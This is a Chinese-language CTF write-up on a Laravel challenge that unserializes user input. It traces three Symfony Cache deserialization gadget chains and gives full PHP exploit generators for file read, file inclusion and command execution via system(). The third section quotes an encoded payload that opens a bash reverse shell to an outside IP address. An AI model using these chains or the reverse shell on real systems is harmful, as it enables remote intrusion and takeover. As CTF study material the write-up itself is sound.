第一次上手Laravel框架,水一篇博客记录一下.
前言 题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function index (\Illuminate\Http\Request $request ) { $payload =$request ->input("payload" ); if (empty ($payload )){ highlight_file(__FILE__ ); }else { @unserialize($payload ); } } }
显然是考察Laravel的pop链. 因为对Laravel框架完全不了解,所以只是看着wp调试一遍
参考: https://xz.aliyun.com/t/5816#toc-0
controller位置: app/Http/Controllers/
pop1 从__destruct
下手
全局搜索可以有很多__destruct, 找其中可以利用的.
TagAwareAdapter::__destruct
逐步跟踪可以跟到一个特殊调用.
__destruct
->commit
->invalidateTags
!$this->pool->saveDeferred($item)
, 是$this->xxx->func
格式的
Q: $this->xxx->xxx->xxx
是不是越长越好利用.调用任意方法?
这样可以调用任意类的saveDeferred
方法.
然后找一个可以利用的saveDeferred
跟踪下ProxyAdapter::saveDeferred
__destruct
->doSave
注意到里面有$innerItem = $f($this->namespace.$item["\0*\0key"], null);
$f
是完全可控的, 需要判断参数是否可控.
对$item
$item需要是CacheItem类的实例.
1 2 3 4 if (!$item instanceof CacheItem) { return false ; } $item = (array ) $item ;
实例对象转换为数组.
各类型变量转换为数组之后的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class TEST{ public $a="a"; protected $b="b"; private $c="c"; } $test=new TEST(); var_dump((array)$test); array(3) { 'a' => string(1) "a" '\0*\0b' => string(1) "b" '\0TEST\0c' => string(1) "c" }
所以$item["\0*\0key"]
也是完全可控的,只需要找一个第二个参数可以为NULL的方法即可.
Q: 有无可以Fuzz PHP全部函数的工具/函数.
可以用highlight_file()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PS E:\tmp> ls 目录: E:\tmp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2021/4/16 20:18 21 flag.txt PS E:\tmp> php -a Interactive shell php > highlight_file('flag.txt',NULL); <code><span style="color: #000000"> flag{You_got_my_flag}</span> </code> php >
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php namespace Symfony \Component \Cache { class CacheItem { protected $key ; protected $value ; protected $isHit = false ; protected $expiry ; protected $defaultLifetime ; protected $metadata = []; protected $newMetadata = []; protected $innerItem ; protected $poolHash ; protected $isTaggable = false ; public function __construct ( ) { $this ->key = '/flag' ; } } } namespace Symfony \Component \Cache \Adapter { use Symfony \Component \Cache \CacheItem ; class ArrayAdapter { private $createCacheItem ; } class ProxyAdapter { private $namespace ; private $namespaceLen ; private $createCacheItem ; private $setInnerItem ; private $poolHash ; private $pool ; public function __construct ( ) { $this ->pool = new ArrayAdapter(); $this ->createCacheItem = 'highlight_file' ; } } class TagAwareAdapter { private $deferred = []; private $createCacheItem ; private $setCacheItemTags ; private $getTagsByKey ; private $invalidateTags ; private $tags ; private $knownTagVersions = []; private $knownTagVersionsTtl ; private $pool ; public function __construct ( ) { $this ->pool = new ProxyAdapter(); $this ->deferred = $arrayName = array ('test' => new CacheItem()); } } } namespace { use Symfony \Component \Cache \Adapter \TagAwareAdapter ; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj )); }
pop2 找的是另一个实现了saveDeferred方法的类,PhpArrayAdapter
1 2 3 4 5 6 7 8 public function saveDeferred(CacheItemInterface $item) { if (null === $this->values) { $this->initialize(); } return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item); }
initialize()
方法: 这个方法在本类并未定义,在其父类PhpArrayTrait
中有定义.
PHP也是单继承的语言,需要用trait实现多继承
参考: https://zhuanlan.zhihu.com/p/98556970
PhpArrayTrait::initialize
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private function initialize ( ) { if (!file_exists($this ->file)) { $this ->keys = $this ->values = []; return ; } $values = (include $this ->file) ?: [[], []]; if (2 !== \count($values ) || !isset ($values [0 ], $values [1 ])) { $this ->keys = $this ->values = []; } else { list ($this ->keys, $this ->values) = $values ; } }
有一个文件包含的操作,可以读取任意文件.
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php namespace Symfony\Component\Cache{ // 参数需要 class CacheItem{ protected $key; protected $value; protected $isHit = false; protected $expiry; protected $defaultLifetime; protected $metadata = []; protected $newMetadata = []; protected $innerItem; protected $poolHash; protected $isTaggable = false; } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $createCacheItem; private $file; public function __construct(){ $this->file = '/flag'; } } class TagAwareAdapter{ private $deferred = []; private $createCacheItem; private $setCacheItemTags; private $getTagsByKey; private $invalidateTags; private $tags; private $knownTagVersions = []; private $knownTagVersionsTtl; private $pool; public function __construct(){ $this->pool = new PhpArrayAdapter(); // 为了调用PhpArrayAdapter::saveDeferred $this->deferred = $arrayName = array('1' => new CacheItem(), );;// 参数必须是CacheItemInterface实例 } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); }
pop3 根据官方payload调的一个链子.
?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
调试一下发现和第一个链很像.只不过是利用的doSave方法中的别的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private function doSave (CacheItemInterface $item , $method ) { if (!$item instanceof CacheItem) { return false ; } $item = (array ) $item ; if (null === $item ["\0*\0expiry" ] && 0 < $item ["\0*\0defaultLifetime" ]) { $item ["\0*\0expiry" ] = microtime(true ) + $item ["\0*\0defaultLifetime" ]; } if ($item ["\0*\0poolHash" ] === $this ->poolHash && $item ["\0*\0innerItem" ]) { $innerItem = $item ["\0*\0innerItem" ]; } elseif ($this ->pool instanceof AdapterInterface) { $f = $this ->createCacheItem; $innerItem = $f ($this ->namespace.$item ["\0*\0key" ], null ); } else { $innerItem = $this ->pool->getItem($this ->namespace.$item ["\0*\0key" ]); } ($this ->setInnerItem)($innerItem , $item ); return $this ->pool->$method ($innerItem ); }
在倒数第二行还有一个($this->setInnerItem)($innerItem, $item);
参数全部完全可控, 可传$this->setInnerItem
为system, $innerItem
为任意命令.
exp3: exp1稍微修改一下.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php namespace Symfony\Component\Cache{ class CacheItem{ protected $key; protected $value; protected $isHit = false; protected $expiry; protected $defaultLifetime; protected $metadata = []; protected $newMetadata = []; protected $innerItem; protected $poolHash; protected $isTaggable = false; public function __construct(){ $this->poolHash = 'test'; // $item["\0*\0poolHash"] === $this->poolHash $this->innerItem = 'cat /flag'; } } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class ProxyAdapter{ private $namespace; private $namespaceLen; private $createCacheItem; private $setInnerItem; private $poolHash; private $pool; public function __construct(){ $this->poolHash = 'test'; // $item["\0*\0poolHash"] === $this->poolHash $this->setInnerItem = 'system'; } } class TagAwareAdapter{ private $deferred = []; private $createCacheItem; private $setCacheItemTags; private $getTagsByKey; private $invalidateTags; private $tags; private $knownTagVersions = []; private $knownTagVersionsTtl; private $pool; public function __construct(){ $this->pool = new ProxyAdapter(); // 为了调用ProxyAdapter::saveDeferred $this->deferred = $arrayName = array('test' => new CacheItem());// ProxyAdapter::saveDeferred 参数 } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); }
后话 laravel,yii这些有日志记录.
没删干净的话是可以找到一些exp的蛛丝马迹的